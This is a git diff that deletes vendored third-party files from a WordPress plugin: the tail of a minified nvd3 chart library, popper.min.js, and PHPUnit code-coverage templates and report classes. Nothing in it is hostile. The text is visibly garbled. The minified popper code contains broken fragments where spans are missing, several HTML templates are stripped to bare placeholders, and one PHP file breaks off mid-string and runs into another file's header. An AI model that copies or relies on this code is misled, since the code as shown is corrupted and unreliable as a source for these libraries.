0!=a.left?a.left:f.left}},color:{get:function(){return m},set:function(b){m=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.sunburstChart=function(){"use strict";function b(d){return m.reset(),m.models(c),d.each(function(d){var h=d3.select(this);a.utils.initSVG(h);var i=a.utils.availableWidth(f,h,e),j=a.utils.availableHeight(g,h,e);if(b.update=function(){0===k?h.call(b):h.transition().duration(k).call(b)},b.container=this,!d||!d.length)return a.utils.noData(b,h),b;h.selectAll(".nv-noData").remove();var l=h.selectAll("g.nv-wrap.nv-sunburstChart").data(d),m=l.enter().append("g").attr("class","nvd3 nv-wrap nv-sunburstChart").append("g"),n=l.select("g");m.append("g").attr("class","nv-sunburstWrap"),l.attr("transform","translate("+e.left+","+e.top+")"),c.width(i).height(j);var o=n.select(".nv-sunburstWrap").datum(d);d3.transition(o).call(c)}),m.renderEnd("sunburstChart immediate"),b}var c=a.models.sunburst(),d=a.models.tooltip(),e={top:30,right:20,bottom:20,left:20},f=null,g=null,h=a.utils.defaultColor(),i=(Math.round(1e5*Math.random()),null),j=null,k=250,l=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd"),m=a.utils.renderWatch(l);return d.headerEnabled(!1).duration(0).valueFormatter(function(a){return a}),c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:a.data.name,value:a.data.size,color:a.color},d.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){d.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){d.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=l,b.sunburst=c,b.tooltip=d,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{noData:{get:function(){return j},set:function(a){j=a}},defaultState:{get:function(){return i},set:function(a){i=a}},color:{get:function(){return h},set:function(a){h=a,c.color(h)}},duration:{get:function(){return k},set:function(a){k=a,m.reset(k),c.duration(k)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.version="1.8.1"}(); \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/popper.min.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/popper.min.js deleted file mode 100644 index bb1aaae3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/popper.min.js +++ /dev/null @@ -1,5 +0,0 @@ -/* - Copyright (C) Federico Zivolo 2020 - Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). - */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll|overlay)/.test(r+s+p)?e:n(o(e))}function i(e){return e&&e.referenceNode?e.referenceNode:e}function r(e){return 11===e?re:10===e?pe:re||pe}function p(e){if(!e)return document.documentElement;for(var o=r(10)?document.body:null,n=e.offsetParent||null;n===o&&e.nextElementSibling;)n=(e=e.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TH','TD','TABLE'].indexOf(n.nodeName)&&'static'===t(n,'position')?p(n):n:e?e.ownerDocument.documentElement:document.documentElement}function s(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||p(e.firstElementChild)===e)}function d(e){return null===e.parentNode?e:d(e.parentNode)}function a(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);var l=r.commonAncestorContainer;if(e!==l&&t!==l||n.contains(i))return s(l)?l:p(l);var f=d(e);return f.host?a(f.host,t):a(e,d(t).host)}function l(e){var t=1=o.clientWidth&&n>=o.clientHeight}),l=0a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!K(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-us[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f]),E=parseFloat(w['border'+f+'Width']),v=b-e.offsets.popper[m]-y-E;return v=ee(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,$(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case ce.FLIP:p=[n,i];break;case ce.CLOCKWISE:p=G(n);break;case ce.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)f(l.top)||'bottom'===n&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u),E=!!t.flipVariationsByContent&&(w&&'start'===r&&c||w&&'end'===r&&h||!w&&'start'===r&&u||!w&&'end'===r&&g),v=y||E;(m||b||v)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),v&&(r=z(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport',flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!K(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.rightwindow.devicePixelRatio||!fe),c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=B('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==g?-1:1;m[c]=d*w,m[g]=s*y,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge}); -//# sourceMappingURL=popper.min.js.map diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/line.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/line.html.dist deleted file mode 100644 index 89810d15..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/line.html.dist +++ /dev/null @@ -1 +0,0 @@ - {{lineNumber}}{{lineContent}} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/lines.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/lines.html.dist deleted file mode 100644 index add40e4e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/lines.html.dist +++ /dev/null @@ -1,5 +0,0 @@ - - -{{lines}} - -
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item.html.dist deleted file mode 100644 index 2311d456..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item.html.dist +++ /dev/null @@ -1,12 +0,0 @@ - - {{name}} - {{lines_bar}} -
      {{lines_executed_percent}}
      -
      {{lines_number}}
      - {{methods_bar}} -
      {{methods_tested_percent}}
      -
      {{methods_number}}
      - {{crap}} - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item_branch.html.dist deleted file mode 100644 index 36d6cb74..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item_branch.html.dist +++ /dev/null @@ -1,18 +0,0 @@ - - {{name}} - {{lines_bar}} -
      {{lines_executed_percent}}
      -
      {{lines_number}}
      - {{branches_bar}} -
      {{branches_executed_percent}}
      -
      {{branches_number}}
      - {{paths_bar}} -
      {{paths_executed_percent}}
      -
      {{paths_number}}
      - {{methods_bar}} -
      {{methods_tested_percent}}
      -
      {{methods_number}}
      - {{crap}} - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/paths.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/paths.html.dist deleted file mode 100644 index d14b8ad9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/paths.html.dist +++ /dev/null @@ -1,9 +0,0 @@ -
      -

      Paths

      -

      - Below are the source code lines that represent each code path as identified by Xdebug. Please note a path is not - necessarily coterminous with a line, a line may contain multiple paths and therefore show up more than once. - Please also be aware that some paths may include implicit rather than explicit branches, e.g. an if statement - always has an else as part of its logical flow even if you didn't write one. -

      -{{paths}} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/PHP.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/PHP.php deleted file mode 100644 index 1f8186d0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/PHP.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report; - -use function dirname; -use function file_put_contents; -use function serialize; -use function strpos; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; -use SebastianBergmann\CodeCoverage\Util\Filesystem; - -final class PHP -{ - public function process(CodeCoverage $coverage, ?string $target = null): string - { - $coverage->clearCache(); - - $buffer = " - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report; - -use const PHP_EOL; -use function array_map; -use function date; -use function ksort; -use function max; -use function sprintf; -use function str_pad; -use function strlen; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Node\File; -use SebastianBergmann\CodeCoverage\Util\Percentage; - -final class Text -{ - /** - * @var string - */ - private const COLOR_GREEN = "\x1b[30;42m"; - - /** - * @var string - */ - private const COLOR_YELLOW = "\x1b[30;43m"; - - /** - * @var string - */ - private const COLOR_RED = "\x1b[37;41m"; - - /** - * @var string - */ - private const COLOR_HEADER = "\x1b[1;37;40m"; - - /** - * @var string - */ - private const COLOR_RESET = "\x1b[0m"; - - /** - * @var string - */ - private const COLOR_EOL = "\x1b[2K"; - - /** - * @var int - */ - private $lowUpperBound; - - /** - * @var int - */ - private $highLowerBound; - - /** - * @var bool - */ - private $showUncoveredFiles; - - /** - * @var bool - */ - private $showOnlySummary; - - public function __construct(int $lowUpperBound = 50, int $highLowerBound = 90, bool $showUncoveredFiles = false, bool $showOnlySummary = false) - { - $this->lowUpperBound = $lowUpperBound; - $this->highLowerBound = $highLowerBound; - $this->showUncoveredFiles = $showUncoveredFiles; - $this->showOnlySummary = $showOnlySummary; - } - - public function process(CodeCoverage $coverage, bool $showColors = false): string - { - $hasBranchCoverage = !empty($coverage->getData(true)->functionCoverage()); - - $output = PHP_EOL . PHP_EOL; - $report = $coverage->getReport(); - - $colors = [ - 'header' => '', - 'classes' => '', - 'methods' => '', - 'lines' => '', - 'branches' => '', - 'paths' => '', - 'reset' => '', - 'eol' => '', - ]; - - if ($showColors) { - $colors['classes'] = $this->coverageColor( - $report->numberOfTestedClassesAndTraits(), - $report->numberOfClassesAndTraits() - ); - - $colors['methods'] = $this->coverageColor( - $report->numberOfTestedMethods(), - $report->numberOfMethods() - ); - - $colors['lines'] = $this->coverageColor( - $report->numberOfExecutedLines(), - $report->numberOfExecutableLines() - ); - - $colors['branches'] = $this->coverageColor( - $report->numberOfExecutedBranches(), - $report->numberOfExecutableBranches() - ); - - $colors['paths'] = $this->coverageColor( - $report->numberOfExecutedPaths(), - $report->numberOfExecutablePaths() - ); - - $colors['reset'] = self::COLOR_RESET; - $colors['header'] = self::COLOR_HEADER; - $colors['eol'] = self::COLOR_EOL; - } - - $classes = sprintf( - ' Classes: %6s (%d/%d)', - Percentage::fromFractionAndTotal( - $report->numberOfTestedClassesAndTraits(), - $report->numberOfClassesAndTraits() - )->asString(), - $report->numberOfTestedClassesAndTraits(), - $report->numberOfClassesAndTraits() - ); - - $methods = sprintf( - ' Methods: %6s (%d/%d)', - Percentage::fromFractionAndTotal( - $report->numberOfTestedMethods(), - $report->numberOfMethods(), - )->asString(), - $report->numberOfTestedMethods(), - $report->numberOfMethods() - ); - - $paths = ''; - $branches = ''; - - if ($hasBranchCoverage) { - $paths = sprintf( - ' Paths: %6s (%d/%d)', - Percentage::fromFractionAndTotal( - $report->numberOfExecutedPaths(), - $report->numberOfExecutablePaths(), - )->asString(), - $report->numberOfExecutedPaths(), - $report->numberOfExecutablePaths() - ); - - $branches = sprintf( - ' Branches: %6s (%d/%d)', - Percentage::fromFractionAndTotal( - $report->numberOfExecutedBranches(), - $report->numberOfExecutableBranches(), - )->asString(), - $report->numberOfExecutedBranches(), - $report->numberOfExecutableBranches() - ); - } - - $lines = sprintf( - ' Lines: %6s (%d/%d)', - Percentage::fromFractionAndTotal( - $report->numberOfExecutedLines(), - $report->numberOfExecutableLines(), - )->asString(), - $report->numberOfExecutedLines(), - $report->numberOfExecutableLines() - ); - - $padding = max(array_map('strlen', [$classes, $methods, $lines])); - - if ($this->showOnlySummary) { - $title = 'Code Coverage Report Summary:'; - $padding = max($padding, strlen($title)); - - $output .= $this->format($colors['header'], $padding, $title); - } else { - $date = date(' Y-m-d H:i:s'); - $title = 'Code Coverage Report:'; - - $output .= $this->format($colors['header'], $padding, $title); - $output .= $this->format($colors['header'], $padding, $date); - $output .= $this->format($colors['header'], $padding, ''); - $output .= $this->format($colors['header'], $padding, ' Summary:'); - } - - $output .= $this->format($colors['classes'], $padding, $classes); - $output .= $this->format($colors['methods'], $padding, $methods); - - if ($hasBranchCoverage) { - $output .= $this->format($colors['paths'], $padding, $paths); - $output .= $this->format($colors['branches'], $padding, $branches); - } - $output .= $this->format($colors['lines'], $padding, $lines); - - if ($this->showOnlySummary) { - return $output . PHP_EOL; - } - - $classCoverage = []; - - foreach ($report as $item) { - if (!$item instanceof File) { - continue; - } - - $classes = $item->classesAndTraits(); - - foreach ($classes as $className => $class) { - $classExecutableLines = 0; - $classExecutedLines = 0; - $classExecutableBranches = 0; - $classExecutedBranches = 0; - $classExecutablePaths = 0; - $classExecutedPaths = 0; - $coveredMethods = 0; - $classMethods = 0; - - foreach ($class['methods'] as $method) { - if ($method['executableLines'] == 0) { - continue; - } - - $classMethods++; - $classExecutableLines += $method['executableLines']; - $classExecutedLines += $method['executedLines']; - $classExecutableBranches += $method['executableBranches']; - $classExecutedBranches += $method['executedBranches']; - $classExecutablePaths += $method['executablePaths']; - $classExecutedPaths += $method['executedPaths']; - - if ($method['coverage'] == 100) { - $coveredMethods++; - } - } - - $classCoverage[$className] = [ - 'namespace' => $class['namespace'], - 'className' => $className, - 'methodsCovered' => $coveredMethods, - 'methodCount' => $classMethods, - 'statementsCovered' => $classExecutedLines, - 'statementCount' => $classExecutableLines, - 'branchesCovered' => $classExecutedBranches, - 'branchesCount' => $classExecutableBranches, - 'pathsCovered' => $classExecutedPaths, - 'pathsCount' => $classExecutablePaths, - ]; - } - } - - ksort($classCoverage); - - $methodColor = ''; - $pathsColor = ''; - $branchesColor = ''; - $linesColor = ''; - $resetColor = ''; - - foreach ($classCoverage as $fullQualifiedPath => $classInfo) { - if ($this->showUncoveredFiles || $classInfo['statementsCovered'] != 0) { - if ($showColors) { - $methodColor = $this->coverageColor($classInfo['methodsCovered'], $classInfo['methodCount']); - $pathsColor = $this->coverageColor($classInfo['pathsCovered'], $classInfo['pathsCount']); - $branchesColor = $this->coverageColor($classInfo['branchesCovered'], $classInfo['branchesCount']); - $linesColor = $this->coverageColor($classInfo['statementsCovered'], $classInfo['statementCount']); - $resetColor = $colors['reset']; - } - - $output .= PHP_EOL . $fullQualifiedPath . PHP_EOL - . ' ' . $methodColor . 'Methods: ' . $this->printCoverageCounts($classInfo['methodsCovered'], $classInfo['methodCount'], 2) . $resetColor . ' '; - - if ($hasBranchCoverage) { - $output .= ' ' . $pathsColor . 'Paths: ' . $this->printCoverageCounts($classInfo['pathsCovered'], $classInfo['pathsCount'], 3) . $resetColor . ' ' - . ' ' . $branchesColor . 'Branches: ' . $this->printCoverageCounts($classInfo['branchesCovered'], $classInfo['branchesCount'], 3) . $resetColor . ' '; - } - $output .= ' ' . $linesColor . 'Lines: ' . $this->printCoverageCounts($classInfo['statementsCovered'], $classInfo['statementCount'], 3) . $resetColor; - } - } - - return $output . PHP_EOL; - } - - private function coverageColor(int $numberOfCoveredElements, int $totalNumberOfElements): string - { - $coverage = Percentage::fromFractionAndTotal( - $numberOfCoveredElements, - $totalNumberOfElements - ); - - if ($coverage->asFloat() >= $this->highLowerBound) { - return self::COLOR_GREEN; - } - - if ($coverage->asFloat() > $this->lowUpperBound) { - return self::COLOR_YELLOW; - } - - return self::COLOR_RED; - } - - private function printCoverageCounts(int $numberOfCoveredElements, int $totalNumberOfElements, int $precision): string - { - $format = '%' . $precision . 's'; - - return Percentage::fromFractionAndTotal( - $numberOfCoveredElements, - $totalNumberOfElements - )->asFixedWidthString() . - ' (' . sprintf($format, $numberOfCoveredElements) . '/' . - sprintf($format, $totalNumberOfElements) . ')'; - } - - /** - * @param false|string $string - */ - private function format(string $color, int $padding, $string): string - { - $reset = $color ? self::COLOR_RESET : ''; - - return $color . str_pad((string) $string, $padding) . $reset . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php deleted file mode 100644 index ebdbae61..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php +++ /dev/null @@ -1,88 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use function constant; -use function phpversion; -use DateTimeImmutable; -use DOMElement; -use SebastianBergmann\Environment\Runtime; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class BuildInformation -{ - /** - * @var DOMElement - */ - private $contextNode; - - public function __construct(DOMElement $contextNode) - { - $this->contextNode = $contextNode; - } - - public function setRuntimeInformation(Runtime $runtime): void - { - $runtimeNode = $this->nodeByName('runtime'); - - $runtimeNode->setAttribute('name', $runtime->getName()); - $runtimeNode->setAttribute('version', $runtime->getVersion()); - $runtimeNode->setAttribute('url', $runtime->getVendorUrl()); - - $driverNode = $this->nodeByName('driver'); - - if ($runtime->hasPHPDBGCodeCoverage()) { - $driverNode->setAttribute('name', 'phpdbg'); - $driverNode->setAttribute('version', constant('PHPDBG_VERSION')); - } - - if ($runtime->hasXdebug()) { - $driverNode->setAttribute('name', 'xdebug'); - $driverNode->setAttribute('version', phpversion('xdebug')); - } - - if ($runtime->hasPCOV()) { - $driverNode->setAttribute('name', 'pcov'); - $driverNode->setAttribute('version', phpversion('pcov')); - } - } - - public function setBuildTime(DateTimeImmutable $date): void - { - $this->contextNode->setAttribute('time', $date->format('D M j G:i:s T Y')); - } - - public function setGeneratorVersions(string $phpUnitVersion, string $coverageVersion): void - { - $this->contextNode->setAttribute('phpunit', $phpUnitVersion); - $this->contextNode->setAttribute('coverage', $coverageVersion); - } - - private function nodeByName(string $name): DOMElement - { - $node = $this->contextNode->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - $name - )->item(0); - - if (!$node) { - $node = $this->contextNode->appendChild( - $this->contextNode->ownerDocument->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - $name - ) - ); - } - - return $node; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php deleted file mode 100644 index b556d820..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php +++ /dev/null @@ -1,74 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMElement; -use SebastianBergmann\CodeCoverage\ReportAlreadyFinalizedException; -use XMLWriter; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Coverage -{ - /** - * @var XMLWriter - */ - private $writer; - - /** - * @var DOMElement - */ - private $contextNode; - - /** - * @var bool - */ - private $finalized = false; - - public function __construct(DOMElement $context, string $line) - { - $this->contextNode = $context; - - $this->writer = new XMLWriter; - $this->writer->openMemory(); - $this->writer->startElementNS(null, $context->nodeName, 'https://schema.phpunit.de/coverage/1.0'); - $this->writer->writeAttribute('nr', $line); - } - - /** - * @throws ReportAlreadyFinalizedException - */ - public function addTest(string $test): void - { - if ($this->finalized) { - throw new ReportAlreadyFinalizedException; - } - - $this->writer->startElement('covered'); - $this->writer->writeAttribute('by', $test); - $this->writer->endElement(); - } - - public function finalize(): void - { - $this->writer->endElement(); - - $fragment = $this->contextNode->ownerDocument->createDocumentFragment(); - $fragment->appendXML($this->writer->outputMemory()); - - $this->contextNode->parentNode->replaceChild( - $fragment, - $this->contextNode - ); - - $this->finalized = true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Directory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Directory.php deleted file mode 100644 index b712953a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Directory.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Directory extends Node -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Facade.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Facade.php deleted file mode 100644 index 3ecc7506..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Facade.php +++ /dev/null @@ -1,315 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use const DIRECTORY_SEPARATOR; -use const PHP_EOL; -use function count; -use function dirname; -use function file_get_contents; -use function file_put_contents; -use function is_array; -use function is_dir; -use function is_file; -use function is_writable; -use function libxml_clear_errors; -use function libxml_get_errors; -use function libxml_use_internal_errors; -use function sprintf; -use function strlen; -use function substr; -use DateTimeImmutable; -use DOMDocument; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Driver\PathExistsButIsNotDirectoryException; -use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; -use SebastianBergmann\CodeCoverage\Node\AbstractNode; -use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; -use SebastianBergmann\CodeCoverage\Node\File as FileNode; -use SebastianBergmann\CodeCoverage\Util\Filesystem as DirectoryUtil; -use SebastianBergmann\CodeCoverage\Version; -use SebastianBergmann\CodeCoverage\XmlException; -use SebastianBergmann\Environment\Runtime; - -final class Facade -{ - /** - * @var string - */ - private $target; - - /** - * @var Project - */ - private $project; - - /** - * @var string - */ - private $phpUnitVersion; - - public function __construct(string $version) - { - $this->phpUnitVersion = $version; - } - - /** - * @throws XmlException - */ - public function process(CodeCoverage $coverage, string $target): void - { - if (substr($target, -1, 1) !== DIRECTORY_SEPARATOR) { - $target .= DIRECTORY_SEPARATOR; - } - - $this->target = $target; - $this->initTargetDirectory($target); - - $report = $coverage->getReport(); - - $this->project = new Project( - $coverage->getReport()->name() - ); - - $this->setBuildInformation(); - $this->processTests($coverage->getTests()); - $this->processDirectory($report, $this->project); - - $this->saveDocument($this->project->asDom(), 'index'); - } - - private function setBuildInformation(): void - { - $buildNode = $this->project->buildInformation(); - $buildNode->setRuntimeInformation(new Runtime); - $buildNode->setBuildTime(new DateTimeImmutable); - $buildNode->setGeneratorVersions($this->phpUnitVersion, Version::id()); - } - - /** - * @throws PathExistsButIsNotDirectoryException - * @throws WriteOperationFailedException - */ - private function initTargetDirectory(string $directory): void - { - if (is_file($directory)) { - if (!is_dir($directory)) { - throw new PathExistsButIsNotDirectoryException($directory); - } - - if (!is_writable($directory)) { - throw new WriteOperationFailedException($directory); - } - } - - DirectoryUtil::createDirectory($directory); - } - - /** - * @throws XmlException - */ - private function 